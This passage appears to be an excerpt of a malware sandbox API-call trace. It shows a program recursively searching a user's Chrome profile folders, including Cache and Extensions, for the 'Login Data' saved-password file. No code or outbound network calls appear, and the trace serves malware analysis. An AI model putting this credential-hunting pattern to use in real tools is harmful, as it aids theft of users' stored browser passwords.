(lpString1=".", lpString2=".") returned 0 [0079.257] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.257] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.257] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.257] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.257] StrStrIA (lpFirst="metadata", lpSrch="Login Data") returned 0x0 [0079.257] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.257] lstrcmpiA (lpString1=".", lpString2="reports") returned -1 [0079.257] lstrcmpiA (lpString1="..", lpString2="reports") returned -1 [0079.257] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 63 [0079.257] lstrlenA (lpString="\\") returned 1 [0079.257] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0079.257] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned 64 [0079.257] lstrlenA (lpString="reports") returned 7 [0079.257] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\", lpString2="reports" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" [0079.257] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned 71 [0079.257] lstrlenA (lpString="\\*.*") returned 4 [0079.257] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*" [0079.257] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*", lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0x642828 [0079.258] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.258] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.258] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.258] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.258] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.258] StrStrIA (lpFirst="3445ae1f-7ee8-40f7-802d-c756087f6c35.dmp", lpSrch="Login Data") returned 0x0 [0079.258] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0 [0079.258] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0079.258] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.258] StrStrIA (lpFirst="settings.dat", lpSrch="Login Data") returned 0x0 [0079.258] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.258] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.258] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.258] lstrcmpiA (lpString1=".", lpString2="Default") returned -1 [0079.258] lstrcmpiA (lpString1="..", lpString2="Default") returned -1 [0079.258] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.258] lstrlenA (lpString="\\") returned 1 [0079.258] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.258] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.258] lstrlenA (lpString="Default") returned 7 [0079.258] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="Default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0079.258] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 62 [0079.258] lstrlenA (lpString="\\*.*") returned 4 [0079.258] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*" [0079.258] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.259] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.259] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.259] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.259] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.259] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.259] lstrcmpiA (lpString1=".", lpString2="Cache") returned -1 [0079.259] lstrcmpiA (lpString1="..", lpString2="Cache") returned -1 [0079.259] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 62 [0079.259] lstrlenA (lpString="\\") returned 1 [0079.259] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0079.259] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 63 [0079.259] lstrlenA (lpString="Cache") returned 5 [0079.259] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Cache" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0079.259] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned 68 [0079.259] lstrlenA (lpString="\\*.*") returned 4 [0079.259] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*" [0079.259] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*", lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0x642828 [0079.259] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.259] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.259] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.259] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.259] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.259] StrStrIA (lpFirst="data_0", lpSrch="Login Data") returned 0x0 [0079.259] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.260] StrStrIA (lpFirst="data_1", lpSrch="Login Data") returned 0x0 [0079.260] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.260] StrStrIA (lpFirst="data_2", lpSrch="Login Data") returned 0x0 [0079.260] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.260] StrStrIA (lpFirst="data_3", lpSrch="Login Data") returned 0x0 [0079.260] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.260] StrStrIA (lpFirst="index", lpSrch="Login Data") returned 0x0 [0079.260] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0 [0079.260] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0079.260] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.260] StrStrIA (lpFirst="Cookies", lpSrch="Login Data") returned 0x0 [0079.260] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.260] StrStrIA (lpFirst="Cookies-journal", lpSrch="Login Data") returned 0x0 [0079.260] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.260] StrStrIA (lpFirst="Current Session", lpSrch="Login Data") returned 0x0 [0079.260] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.260] StrStrIA (lpFirst="Current Tabs", lpSrch="Login Data") returned 0x0 [0079.260] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.260] lstrcmpiA (lpString1=".", lpString2="data_reduction_proxy_leveldb") returned -1 [0079.260] lstrcmpiA (lpString1="..", lpString2="data_reduction_proxy_leveldb") returned -1 [0079.260] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 62 [0079.260] lstrlenA (lpString="\\") returned 1 [0079.260] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0079.260] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 63 [0079.260] lstrlenA (lpString="data_reduction_proxy_leveldb") returned 28 [0079.260] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="data_reduction_proxy_leveldb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" [0079.260] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned 91 [0079.260] lstrlenA (lpString="\\*.*") returned 4 [0079.260] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*" [0079.260] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*", lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0x642828 [0079.261] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.261] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.262] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.262] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.262] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.262] StrStrIA (lpFirst="000003.log", lpSrch="Login Data") returned 0x0 [0079.262] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.262] StrStrIA (lpFirst="CURRENT", lpSrch="Login Data") returned 0x0 [0079.262] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.262] StrStrIA (lpFirst="LOCK", lpSrch="Login Data") returned 0x0 [0079.262] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.262] StrStrIA (lpFirst="LOG", lpSrch="Login Data") returned 0x0 [0079.262] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.262] StrStrIA (lpFirst="MANIFEST-000001", lpSrch="Login Data") returned 0x0 [0079.262] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0 [0079.262] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0079.263] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.263] lstrcmpiA (lpString1=".", lpString2="Extension Rules") returned -1 [0079.263] lstrcmpiA (lpString1="..", lpString2="Extension Rules") returned -1 [0079.263] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 62 [0079.263] lstrlenA (lpString="\\") returned 1 [0079.263] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0079.263] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 63 [0079.263] lstrlenA (lpString="Extension Rules") returned 15 [0079.263] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extension Rules" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" [0079.263] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned 78 [0079.263] lstrlenA (lpString="\\*.*") returned 4 [0079.263] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*" [0079.263] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*", lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0x642828 [0079.264] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.264] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.264] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.264] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.264] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.264] StrStrIA (lpFirst="000003.log", lpSrch="Login Data") returned 0x0 [0079.264] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.264] StrStrIA (lpFirst="CURRENT", lpSrch="Login Data") returned 0x0 [0079.264] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.265] StrStrIA (lpFirst="LOCK", lpSrch="Login Data") returned 0x0 [0079.265] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.265] StrStrIA (lpFirst="LOG", lpSrch="Login Data") returned 0x0 [0079.265] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.265] StrStrIA (lpFirst="MANIFEST-000001", lpSrch="Login Data") returned 0x0 [0079.265] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0 [0079.265] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0079.266] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.266] lstrcmpiA (lpString1=".", lpString2="Extension State") returned -1 [0079.266] lstrcmpiA (lpString1="..", lpString2="Extension State") returned -1 [0079.266] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 62 [0079.266] lstrlenA (lpString="\\") returned 1 [0079.266] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0079.266] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 63 [0079.266] lstrlenA (lpString="Extension State") returned 15 [0079.266] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extension State" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0079.266] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned 78 [0079.266] lstrlenA (lpString="\\*.*") returned 4 [0079.266] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*" [0079.266] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*", lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0x642828 [0079.267] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.267] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.267] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.267] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.267] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.267] StrStrIA (lpFirst="000003.log", lpSrch="Login Data") returned 0x0 [0079.267] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.267] StrStrIA (lpFirst="CURRENT", lpSrch="Login Data") returned 0x0 [0079.267] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.267] StrStrIA (lpFirst="LOCK", lpSrch="Login Data") returned 0x0 [0079.267] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.267] StrStrIA (lpFirst="LOG", lpSrch="Login Data") returned 0x0 [0079.267] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.267] StrStrIA (lpFirst="MANIFEST-000001", lpSrch="Login Data") returned 0x0 [0079.267] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0 [0079.268] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0079.269] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.269] lstrcmpiA (lpString1=".", lpString2="Extensions") returned -1 [0079.269] lstrcmpiA (lpString1="..", lpString2="Extensions") returned -1 [0079.269] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 62 [0079.269] lstrlenA (lpString="\\") returned 1 [0079.269] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0079.269] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 63 [0079.269] lstrlenA (lpString="Extensions") returned 10 [0079.269] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extensions" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0079.269] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 73 [0079.269] lstrlenA (lpString="\\*.*") returned 4 [0079.269] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*" [0079.269] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*", lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0x642828 [0079.269] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.269] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.269] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.269] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.269] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.269] lstrcmpiA (lpString1=".", lpString2="aapocclcgogkmnckokdopfmhonfmgoek") returned -1 [0079.269] lstrcmpiA (lpString1="..", lpString2="aapocclcgogkmnckokdopfmhonfmgoek") returned -1 [0079.269] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 73 [0079.269] lstrlenA (lpString="\\") returned 1 [0079.269] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0079.269] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned 74 [0079.269] lstrlenA (lpString="aapocclcgogkmnckokdopfmhonfmgoek") returned 32 [0079.269] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0079.269] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 106 [0079.269] lstrlenA (lpString="\\*.*") returned 4 [0079.269] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*" [0079.270] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*", lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 0x642868 [0079.270] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.270] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 1 [0079.270] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.270] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.270] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 1 [0079.270] lstrcmpiA (lpString1=".", lpString2="0.9_0") returned -1 [0079.270] lstrcmpiA (lpString1="..", lpString2="0.9_0") returned -1 [0079.270] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 106 [0079.270] lstrlenA (lpString="\\") returned 1 [0079.270] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" [0079.270] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned 107 [0079.270] lstrlenA (lpString="0.9_0") returned 5 [0079.270] lstrcatA (in: 